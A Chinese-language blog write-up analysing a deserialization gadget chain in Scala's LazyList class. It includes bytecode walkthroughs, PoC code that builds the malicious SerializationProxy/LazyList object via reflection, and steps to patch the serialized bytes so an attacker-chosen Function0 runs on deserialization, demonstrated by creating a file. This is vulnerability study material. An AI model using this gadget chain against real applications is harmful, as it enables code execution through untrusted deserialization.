前言
无。
漏洞描述
漏洞通告说明这是一个由LazyList类导致的反序列化漏洞,整条反序列化链从一个代理类开始,同时Github上也有这个漏洞的公开POC,学习起来就更简单了。
那么开始学习。
环境搭建
有个Scala依赖就行了:
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.13.8</version>
</dependency>
漏洞分析
反编译错误
用IDEA打开LazyList类,发现反编译出问题了,比如序列化相关的writeReplace函数:
public java.lang.Object writeReplace() { /* compiled code */ }
反编译失败,看起来IDEA的反编译工具不太能理解Scala构建的字节码。
没代码学习个锤子,总不能空想吧。那么接下来就有两个法子,比较王道的应该就是像参考文章那样从Scala代码看起,再回到Java。
但我比较懒,虽然IDEA反编译失败了,但为了在JVM执行,字节码肯定还是正确的,所以我可以直接看Java字节码来捋一捋代码思路。
生啃字节码
首先在IDEA中看一下LazyList构造,这是一个Serializable类,但是由于LazyList中不存在readObject等反序列化起始函数,因此需要在外面嵌套一个SerializationProxy类。根据漏洞描述,漏洞产生原因就是其成员lazyState作为一个匿名函数的Function0类被调用,从而导致了一个范围比较有限的任意匿名函数调用漏洞。
payload生成
参考Github上的poc,主要就是SerializationProxy嵌套LazyList,再加上反射修改几个成员:
Object lazyList = Utils.newInstance("scala.collection.immutable.LazyList",
new Class[] {Function0.class}, payload);
Object emptyLazyListState = Utils.getStaticValue("scala.collection.immutable.LazyList$State$Empty$", "MODULE$");
Utils.setField(lazyList, "scala$collection$immutable$LazyList$$state", emptyLazyListState);
Utils.setField(lazyList, "scala$collection$immutable$LazyList$$stateEvaluated", true);
Utils.setField(lazyList, "bitmap$0", true);
Object serializationProxy = Utils.newInstance("scala.collection.immutable.LazyList$SerializationProxy",
lazyList);
三个成员state、stateEvaluated和bitmap各有用处,后续阅读字节码时再做分析。
SerializationProxy序列化
然后我使用的是jclasslib这个工具来观摩字节码,首先看代理类SerializationProxy,该类也是一个Serializable类,且存在一个LazyList类型的成员:
private transient scala.collection.immutable.LazyList<A> coll;
该成员在构造函数中被赋值:
public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { /* compiled code */ }
反编译失败,该函数的字节码如下:
0 aload_0
1 aload_1
2 putfield #31 <scala/collection/immutable/LazyList$SerializationProxy.coll : Lscala/collection/immutable/LazyList;>
5 aload_0
6 invokespecial #114 <java/lang/Object.<init> : ()V>
9 return
简单来说就是一行代码,将参数即用于完成反序列化漏洞的LazyList对象存放到自身的成员coll中:
public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { this.coll = coll; }
但是该coll成员是一个transient成员,因此猜测在序列化时对其进行了特殊的序列化操作,看看它的writeObject函数字节码:
0 aload_1
1 invokevirtual #46 <java/io/ObjectOutputStream.defaultWriteObject : ()V>
4 aload_0
5 invokevirtual #48 <scala/collection/immutable/LazyList$SerializationProxy.coll : ()Lscala/collection/immutable/LazyList;>
8 astore_2
9 aload_2
10 ifnonnull 15 (+5)
...
15 aload_2
16 getfield #52 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
19 ifeq 44 (+25)
22 aload_2
23 invokevirtual #56 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>
26 getstatic #60 <scala/collection/immutable/LazyList$State$Empty$.MODULE$ : Lscala/collection/immutable/LazyList$State$Empty$;>
29 if_acmpne 36 (+7)
32 iconst_1
33 goto 37 (+4)
...
37 ifne 44 (+7)
...
44 iconst_0
45 ifeq 64 (+19)
...
64 aload_1
65 getstatic #75 <scala/collection/generic/SerializeEnd$.MODULE$ : Lscala/collection/generic/SerializeEnd$;>
68 invokevirtual #67 <java/io/ObjectOutputStream.writeObject : (Ljava/lang/Object;)V>
71 aload_1
72 aload_2
73 invokevirtual #67 <java/io/ObjectOutputStream.writeObject : (Ljava/lang/Object;)V>
76 return
由于代码中涉及到if等程序控制,整体字节码看起来相当复杂,因此这里根据payload构造方式,删去了一些由于成员判断语句(如ifeq)而被跳过(如ifeq、goto)的无效字节码。
第一段代码调用defaultWriteObject写入了常规成员,然后调用自身的coll函数,coll函数字节码如下:
0 aload_0
1 getfield #31 <scala/collection/immutable/LazyList$SerializationProxy.coll : Lscala/collection/immutable/LazyList;>
4 areturn
获取自身成员并将结果返回,即:
public scala.collection.immutable.LazyList<A> coll() { return this.coll; }
整段代码大致上就可以理解为:
out.defaultWriteObject();
LazyList<A> coll = this.coll;
if (coll != null) {
第二段代码
}
再保存到索引变量表下标为2的地方,当结果不为null时,跳转到标号为15的代码行,即第二段字节码,首先判断stateEvaluated成员的值,当其不为false时继续执行,再判断state成员是否与一个空state相等,当其相等时继续执行,当其不等时则会调用LazyList的head函数对其内部元素进行循环序列化,阅读字节码发现其是通过执行匿名函数成员lazyState获得的,环境中不好找到符合条件的Function,所以直接使用empty state是最方便的。
最后来到第三段字节码,调用writeObject开始序列化关键的LazyList对象。
LazyList序列化
只有一个writeReplace函数:
0 aload_0
1 getfield #438 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
4 ifeq 29 (+25)
7 aload_0
8 invokevirtual #468 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>
11 getstatic #471 <scala/collection/immutable/LazyList$State$Empty$.MODULE$ : Lscala/collection/immutable/LazyList$State$Empty$;>
14 if_acmpne 21 (+7)
17 iconst_1
18 goto 22 (+4)
21 iconst_0
22 ifne 29 (+7)
25 iconst_1
26 goto 30 (+4)
29 iconst_0
30 ifeq 42 (+12)
33 new #43 <scala/collection/immutable/LazyList$SerializationProxy>
36 dup
37 aload_0
38 invokespecial #519 <scala/collection/immutable/LazyList$SerializationProxy.<init> : (Lscala/collection/immutable/LazyList;)V>
41 areturn
42 aload_0
43 areturn
可以看到,由于state成员是否与一个空state相等,LazyList就会跳过后面的创造SerializationProxy代理环境直接将自身序列化,这里面或许会存在死循环问题,但是不好找到合适的state对象来测试,只是个猜测。
SerializationProxy反序列化
SerializationProxy类的readObject函数,LazyList没有readObject等函数,因此会在ObjectInputStream.defaultReadObject函数调用时被正常反序列化,后续关键字节码处理如下:
53 invokevirtual #92 <java/io/ObjectInputStream.readObject : ()Ljava/lang/Object;>
56 checkcast #10 <scala/collection/immutable/LazyList>
59 astore 5
...
69 aload 5
71 aload_2
72 invokevirtual #106 <scala/collection/immutable/LazyList.prependedAll : (Lscala/collection/IterableOnce;)Lscala/collection/immutable/LazyList;>
75 invokevirtual #108 <scala/collection/immutable/LazyList$SerializationProxy.coll_$eq : (Lscala/collection/immutable/LazyList;)V>
从字节流中反序列化出LazyList对象,然后调用其prependedAll函数,该函数第一段字节码如下:
0 aload_0
1 getfield #438 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
4 ifeq 29 (+25)
7 aload_0
8 invokevirtual #468 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>
如果stateEvaluated为false,则会直接跳转到标号为29的字节码处,就会跳过关键的state函数调用,该函数调用的字节码如下:
0 aload_0
1 getfield #442 <scala/collection/immutable/LazyList.bitmap$0 : Z>
4 ifne 12 (+8)
7 aload_0
8 invokespecial #462 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state$lzycompute : ()Lscala/collection/immutable/LazyList$State;>
11 areturn
12 aload_0
13 getfield #457 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : Lscala/collection/immutable/LazyList$State;>
16 areturn
可以看到,如果bitmap为true,就会直接跳转到标号为12的字节码处,同样会跳过关键的的lzycompute函数,因此为了让反序列化漏洞利用流程正常进行,用于反序列化的LazyList对象需要修改一个值为false的bitmap成员,但是过早修改会导致lazyState这个Function被过早触发,然后由于类型转换为state失败导致序列化异常。
lzycompute函数的字节码如下:
0 aload_0
1 monitorenter
2 aload_0
3 getfield #442 <scala/collection/immutable/LazyList.bitmap$0 : Z>
6 ifne 81 (+75)
9 aload_0
10 aload_0
11 getfield #444 <scala/collection/immutable/LazyList.midEvaluation : Z>
14 ifeq 28 (+14)
17 new #446 <java/lang/RuntimeException>
20 dup
21 ldc_w #448 <self-referential LazyList or a derivation thereof has no more elements>
24 invokespecial #451 <java/lang/RuntimeException.<init> : (Ljava/lang/String;)V>
27 athrow
28 aload_0
29 iconst_1
30 putfield #444 <scala/collection/immutable/LazyList.midEvaluation : Z>
33 aload_0
34 getfield #453 <scala/collection/immutable/LazyList.lazyState : Lscala/Function0;>
37 invokeinterface #455 <scala/Function0.apply : ()Ljava/lang/Object;> count 1
42 checkcast #49 <scala/collection/immutable/LazyList$State>
可以看到,如果bitmap为true,就会直接跳转到标号为81的字节码处,还是会跳过关键的Function0.apply执行lazyState。此外,还有一个条件则是midEvaluation成员为false,不然会抛出Runtime异常。
这些条件都满足后,就可以通过invokeinterface字节码调用Function0.apply函数,即执行可控匿名函数成员lazyState。
漏洞利用
关键点在于在恰当时机修改bitmap成员,poc的做法是通过javassist重写LazyList类的writeObject函数,让其修改bitmap成员,但在我Java8环境中,由于该过程中会调用Class.getModule函数,而该函数要求环境为Java9,因此无法正常使用。
第二种办法是使用Agent直接修改字节码,或者尝试手写序列化字节流,但是毕竟要修改的只有小小的一个布尔值,所以我选择直接修改序列化后的字节流,先保存一下序列化字节流:
byte[] bytes = Utils.serialize(serializationProxy);
FileOutputStream fos = new FileOutputStream("exploit.ser");
fos.write(bytes);
fos.close();
然后用SerializationDumper读取,找到bitmap成员对应的布尔值位置:
newHandle 0x00 7e 00 0a
classdata
scala.collection.immutable.LazyList
values
bitmap$0
(boolean)true - 0x01
midEvaluation
(boolean)false - 0x00
scala$collection$immutable$LazyList$$stateEvaluated
(boolean)true - 0x01
然后用WinHex打开直接修改,最后回到IDEA中测试反序列化:
FileInputStream f = new FileInputStream("exploit.ser");
ObjectInputStream ois = new ObjectInputStream(f) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
System.out.println("反序列化类:" + desc.getName());
return super.resolveClass(desc);
}
};
obj = ois.readObject();
可以看到类型转换异常:
java.lang.ClassCastException: java.io.FileOutputStream cannot be cast to scala.collection.immutable.LazyList$State
同时文件创建成功,想要实现其他利用效果,可以使用ASM框架读取字节码找到所有的匿名函数类Function来分析。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!